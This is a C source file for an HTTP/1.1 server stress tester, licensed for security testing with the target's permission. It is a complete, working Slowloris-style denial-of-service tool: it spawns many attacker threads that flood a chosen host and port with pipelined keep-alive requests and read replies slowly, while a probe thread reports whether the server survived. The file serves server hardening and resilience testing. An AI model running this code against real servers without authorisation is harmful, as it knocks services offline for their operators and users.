blob: bd1e7eae28d0e2c60923a108438ab31925e9ba5a [file] [log] [blame] [raw]
/*
Copyright 2019, Boaz Segev
License: ISC
License limitations: May only be used for security testing and with permission
of target device.
*/
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
/* I can't seem to remember which onse I actually use... */
#include <ctype.h>
#include <errno.h>
#include <limits.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <sys/mman.h>
#include <time.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <poll.h>
#include <sys/ioctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <unistd.h>
#define ASSERT_COND(cond, ...) \
do { \
if (!(cond)) { \
fprintf(stderr, __VA_ARGS__); \
perror("\n\terrno"); \
exit(-1); \
} \
} while (0)
/* *****************************************************************************
Global State and Settings
***************************************************************************** */
#define RESULT_FAILED 2
#define RESULT_UNKNOWN 1
#define RESULT_PASSED 0
#define TEST_TIME 20 /* test time in seconds 0 == inifinity */
#define USE_PIPELINING 1
#define PRINT_PAGE_OF_DATA 1
#define MTU_LIMIT (524)
static size_t ATTACKERS = 24;
static volatile uint8_t flag = 1;
static const char *address;
static const char *port;
static size_t total_requests;
static size_t total_reads;
static size_t total_eof;
static size_t total_disconnections;
static size_t total_attempts;
static size_t total_failures;
static size_t total_success;
static size_t max_wait;
static const char HTTP_REQUEST_HEAD[] =
"GET / HTTP/1.1\r\nConnection: keep-alive\r\nHost: ";
static char MSG_OUTPUT[1024]; /* pipelined requests in MTU */
static size_t MSG_LEN;
static size_t REQ_PER_MSG;
/* copies an HTTP request to the internal buffer */
static void prep_msg(void) {
ASSERT_COND(strlen(address) < 512, "host name too long");
if (USE_PIPELINING) {
MSG_LEN = strlen(HTTP_REQUEST_HEAD) + strlen(address) + 4;
REQ_PER_MSG = 1;
memcpy(MSG_OUTPUT, HTTP_REQUEST_HEAD, strlen(HTTP_REQUEST_HEAD));
memcpy(MSG_OUTPUT + strlen(HTTP_REQUEST_HEAD), address, strlen(address));
MSG_OUTPUT[MSG_LEN - 4] = '\r';
MSG_OUTPUT[MSG_LEN - 3] = '\n';
MSG_OUTPUT[MSG_LEN - 2] = '\r';
MSG_OUTPUT[MSG_LEN - 1] = '\n';
} else {
memcpy(MSG_OUTPUT, HTTP_REQUEST_HEAD, strlen(HTTP_REQUEST_HEAD));
memcpy(MSG_OUTPUT + strlen(HTTP_REQUEST_HEAD), address, strlen(address));
MSG_LEN = strlen(HTTP_REQUEST_HEAD) + strlen(address) + 4;
REQ_PER_MSG = MTU_LIMIT / MSG_LEN;
MSG_OUTPUT[MSG_LEN - 4] = '\r';
MSG_OUTPUT[MSG_LEN - 3] = '\n';
MSG_OUTPUT[MSG_LEN - 2] = '\r';
MSG_OUTPUT[MSG_LEN - 1] = '\n';
if (!REQ_PER_MSG)
REQ_PER_MSG = 1;
for (size_t i = 1; i < REQ_PER_MSG; ++i) {
memcpy(MSG_OUTPUT + (i * MSG_LEN), MSG_OUTPUT, MSG_LEN);
}
MSG_LEN *= REQ_PER_MSG;
}
}
/* handles the SIGUSR1, SIGINT and SIGTERM signals. */
static void sig_int_handler(int sig) {
signal(SIGINT, SIG_DFL);
switch (sig) {
case SIGINT: /* fallthrough */
case SIGTERM: /* fallthrough */
flag = 0;
break;
default:
break;
}
}
/* *****************************************************************************
Tester functions
***************************************************************************** */
/* error reporting for server test */
typedef enum {
SERVER_OK,
OPENFILE_LIMIT,
CONNECTION_FAILED,
REQUEST_FAILED,
RESPONSE_TIMEOUT,
} test_err_en;
/** Opens a connection and sends a single HTTP request. */
static test_err_en test_server(size_t timeout);
/* a single attack connection */
static void attack_server(void);
/* a single attacker thread */
static void *attack_server_task(void *ignr_);
/* a single tester thread */
static void *test_server_task(void *ignr_);
/* *****************************************************************************
Main attack function
***************************************************************************** */
int main(int argc, char const *argv[]) {
int result = 0;
ASSERT_COND(argc == 3 || argc == 4,
"\nTo test HTTP/1.1 server against Slowloris, "
"use: %s addr port [attackers]\ni.e.:\n\t\t%s example.com 80"
"\n\t\t%s localhost 3000 24",
argv[0], argv[0], argv[0]);
/* initialize stuff */
signal(SIGPIPE, SIG_IGN);
signal(SIGINT, sig_int_handler);
signal(SIGTERM, sig_int_handler);
if (argc == 4 && atol(argv[3]) > 0)
ATTACKERS = atol(argv[3]);
address = argv[1];
port = argv[2];
prep_msg();
switch (test_server(5)) {
case SERVER_OK:
fprintf(stderr, "* PASSED sanity test.\n");
break;
case OPENFILE_LIMIT:
ASSERT_COND(0, "FAILED to connect to %s:%s - no open files available?",
address, port);
break;
case CONNECTION_FAILED:
ASSERT_COND(0, "FAILED to connect to %s:%s", address, port);
break;
case REQUEST_FAILED:
ASSERT_COND(0, "FAILED to send request to %s:%s", address, port);
break;
case RESPONSE_TIMEOUT:
ASSERT_COND(0, "FAILED, response timed out for %s:%s", address, port);
break;
}
fprintf(stderr, "* Starting %zu attack loops, with %zu bytes per request.\n",
ATTACKERS, MSG_LEN / REQ_PER_MSG);
size_t thread_count = 0;
pthread_t *threads = calloc(sizeof(*threads), ATTACKERS + 1);
ASSERT_COND(threads, "couldn't allocate memoryt for thread data store");
time_t start = 0;
time(&start);
for (size_t i = 0; i < ATTACKERS; ++i) {
if (pthread_create(threads + thread_count, NULL, attack_server_task,
NULL) == 0)
++thread_count;
}
if (pthread_create(threads + thread_count, NULL, test_server_task, NULL) == 0)
++thread_count;
if (!thread_count) {
attack_server();
test_server_task(NULL);
} else if (TEST_TIME) {
for (int i = 0; i < TEST_TIME && flag; ++i) {
const struct timespec tm = {.tv_sec = 1};
nanosleep(&tm, NULL);
}
flag = 0;
fprintf(stderr, "* Stopping test...\n");
}
while (thread_count) {
--thread_count;
pthread_join(threads[thread_count], NULL);
}
time_t end = 0;
time(&end);
fprintf(stderr,
"Stats:\n"
"\tTest length: %zu seconds\n"
"\tConcurrent attackers: %zu\n"
"\tRequests sent: %zu\n"
"\tBytes sent: %zu\n"
"\tBytes received: %zu\n"
"\tSucceful requests: %zu / %zu\n"
"\tDisconnections: %zu\n"
"\tEOF on attempted read: %zu\n"
"\tSlowest test cycle: %zu\n",
end - start, ATTACKERS, total_requests,
(total_requests * (MSG_LEN / REQ_PER_MSG)), total_reads,
total_success, total_attempts, total_disconnections, total_eof,
max_wait);
if (max_wait > 5 || total_attempts != total_success) {
result = RESULT_FAILED;
fprintf(stderr, "FAILED! the server experienced DoS at least once or "
"took more than 10 seconds to respond.\n");
} else if ((max_wait > 1 ||
((total_disconnections / 2) / (end - start) == 0)) &&
!total_eof) {
result = RESULT_UNKNOWN;
fprintf(stderr, "Unknown. Server may have been partially effected.\n");
} else {
result = RESULT_PASSED;
fprintf(stderr, "PASSED.\n");
}
return result;
}
/* *****************************************************************************
Aomic operation helpers
***************************************************************************** */
/* C11 Atomics are defined? */
#if defined(__ATOMIC_RELAXED)
/** An atomic addition operation */
#define atomic_add(p_obj, value) \
__atomic_add_fetch((p_obj), (value), __ATOMIC_SEQ_CST)
/** An atomic subtraction operation */
/* Select the correct compiler builtin method. */
#elif __has_builtin(__sync_add_and_fetch)
#define atomic_add(p_obj, value) __sync_add_and_fetch((p_obj), (value))
#elif __GNUC__ > 3
/** An atomic addition operation */
#define atomic_add(p_obj, value) __sync_add_and_fetch((p_obj), (value))
#else
#error Required builtin "__sync_add_and_fetch" not found.
#endif
/* *****************************************************************************
IO Helpers
***************************************************************************** */
static int set_non_block(int fd) {
/* If they have O_NONBLOCK, use the Posix way to do it */
#if defined(O_NONBLOCK)
/* Fixme: O_NONBLOCK is defined but broken on SunOS 4.1.x and AIX 3.2.5. */
int flags;
if (-1 == (flags = fcntl(fd, F_GETFL, 0)))
flags = 0;
// printf("flags initial value was %d\n", flags);
return fcntl(fd, F_SETFL, flags | O_NONBLOCK | O_CLOEXEC);
#elif defined(FIONBIO)
/* Otherwise, use the old way of doing it */
static int flags = 1;
return ioctl(fd, FIONBIO, &flags);
#else
#error No functions / argumnet macros for non-blocking sockets.
#endif
}
/** Opens a TCP/IP connection using a blocking IO socket */
static int __attribute__((unused)) connect2tcp(const char *a, const char *p) {
/* TCP/IP socket */
struct addrinfo hints = {0};
struct addrinfo *addrinfo; // will point to the results
memset(&hints, 0, sizeof hints); // make sure the struct is empty
hints.ai_family = AF_UNSPEC; // don't care IPv4 or IPv6
hints.ai_socktype = SOCK_STREAM; // TCP stream sockets
hints.ai_flags = AI_PASSIVE; // fill in my IP for me
if (getaddrinfo(a, p, &hints, &addrinfo)) {
// perror("addr err");
return -1;
}
// get the file descriptor
int fd =
socket(addrinfo->ai_family, addrinfo->ai_socktype, addrinfo->ai_protocol);
if (fd == -1 || set_non_block(fd) < 0) {
freeaddrinfo(addrinfo);
return -1;
}
int one = 1;
setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one));
errno = 0;
for (struct addrinfo *i = addrinfo; i; i = i->ai_next) {
if (connect(fd, i->ai_addr, i->ai_addrlen) == 0 || errno == EINPROGRESS)
goto socket_okay;
perror("Connect failed...");
}
freeaddrinfo(addrinfo);
close(fd);
return -1;
socket_okay:
freeaddrinfo(addrinfo);
return fd;
}
/* *****************************************************************************
Polling Helpers
***************************************************************************** */
/** Waits for socket to become available for either reading or writing */
static inline int wait__internal(int fd, uint16_t events) {
errno = 0;
int i = 0;
if (fd == -1)
goto badfd;
struct pollfd ls = {.fd = fd, .events = events};
i = poll(&ls, 1, 1000);
if (i > 0) {
if ((ls.revents & POLLHUP) || (ls.revents & POLLERR) ||
(ls.revents & POLLNVAL))
goto badfd;
return 0;
}
switch (errno) {
case EFAULT: /* overflow */
case EINVAL: /* overflow */
case ENOMEM: /* overflow */
return -1;
}
errno = EWOULDBLOCK;
return -1;
badfd:
errno = EBADF;
return -1;
}
/** Waits for socket to become available for either reading or writing */
static __attribute__((unused)) int wait4fd(int fd) {
return wait__internal(fd, POLLIN | POLLOUT);
}
/** Waits for socket to become available for reading */
static __attribute__((unused)) int wait4read(int fd) {
return wait__internal(fd, POLLIN);
}
/** Waits for socket to become available for reading */
static __attribute__((unused)) int wait4write(int fd) {
return wait__internal(fd, POLLOUT);
}
/* *****************************************************************************
Test
***************************************************************************** */
static test_err_en test_server(size_t timeout) {
int fd = connect2tcp(address, port);
if (fd == -1) {
if (errno == EMFILE || errno == ENFILE || errno == ENOMEM)
return OPENFILE_LIMIT;
return CONNECTION_FAILED;
}
time_t start = 0;
time(&start);
size_t blocks = 0;
while (wait4write(fd) < 0) {
if (errno != EWOULDBLOCK || ++blocks >= timeout || !flag) {
/* timeout / error / stop */
close(fd);
if (!flag)
return SERVER_OK;
return CONNECTION_FAILED;
}
}
// fprintf(stderr, "* TEST: connected to %s:%s\n", address, port);
if (write(fd, MSG_OUTPUT, MSG_LEN / REQ_PER_MSG) !=
(ssize_t)(MSG_LEN / REQ_PER_MSG)) {
/* a new connection and the buffer is full? no... */
close(fd);
// fprintf(stderr, "* TEST: couldn't send rerquest to %s:%s\n", address,
// port);
return REQUEST_FAILED;
}
blocks = 0;
while (wait4read(fd) < 0) {
if (errno != EWOULDBLOCK || ++blocks >= timeout || !flag) {
/* timeout / error */
close(fd);
if (!flag)
return SERVER_OK;
return RESPONSE_TIMEOUT;
}
}
char buffer[4096];
if (read(fd, buffer, 1024) < 12) {
close(fd);
return RESPONSE_TIMEOUT;
}
close(fd);
// fprintf(stderr, "* TEST: received response from %s:%s\n", address, port);
time_t end = 0;
time(&end);
if (max_wait < (size_t)(end - start)) {
/* non-atomic... but who cares. */
max_wait = end - start;
}
return SERVER_OK;
}
/* *****************************************************************************
Attack
***************************************************************************** */
static void attack_server(void) {
int fd = connect2tcp(address, port);
size_t offset = 0;
uint8_t read_once = 0;
while (flag) {
if (wait4write(fd) == 0) {
ssize_t w = write(fd, MSG_OUTPUT + offset, MSG_LEN - offset);
if (w < 0) {
/* error... waiting? */
if (errno != EWOULDBLOCK && errno != EAGAIN && errno != EINTR) {
break;
}
} else {
offset += w;
if (offset >= MSG_LEN) {
offset = 0;
atomic_add(&total_requests, REQ_PER_MSG);
}
}
} else if (errno != EWOULDBLOCK && errno != EAGAIN) {
break;
}
if (wait4read(fd) == 0) {
size_t buf;
ssize_t r = read(fd, &buf, sizeof(buf));
if (r < 0)
break; /* read a few bytes at a time */
if (!r) {
atomic_add(&total_eof, 1);
} else {
atomic_add(&total_reads, r);
read_once = 1;
}
} else if (errno == EWOULDBLOCK || errno == EAGAIN) {
if (read_once) {
atomic_add(&total_eof, 1);
break;
}
} else {
if (read_once)
break;
}
}
if (flag)
atomic_add(&total_disconnections, 1);
close(fd);
return;
}
/* *****************************************************************************
Multi-Threaded Testing / Attacking
***************************************************************************** */
/* a single attacker thread */
static void *attack_server_task(void *ignr_) {
while (flag)
attack_server();
return NULL;
(void)ignr_;
}
/* a single tester thread */
static void *test_server_task(void *ignr_) {
while (flag) {
const struct timespec tm = {.tv_sec = 1};
nanosleep(&tm, NULL);
if (!flag)
break;
atomic_add(&total_attempts, 1);
switch (test_server(15)) {
case SERVER_OK:
if (flag)
fprintf(stderr, "* Server online.\n");
atomic_add(&total_success, 1);
break;
case OPENFILE_LIMIT:
fprintf(stderr, "* No available sockets.\n");
atomic_add(&total_success, 1);
break;
case CONNECTION_FAILED: /* overflow*/
case REQUEST_FAILED: /* overflow*/
case RESPONSE_TIMEOUT:
atomic_add(&total_failures, 1);
fprintf(stderr, "* Failure detected.\n");
break;
}
}
return NULL;
(void)ignr_;
}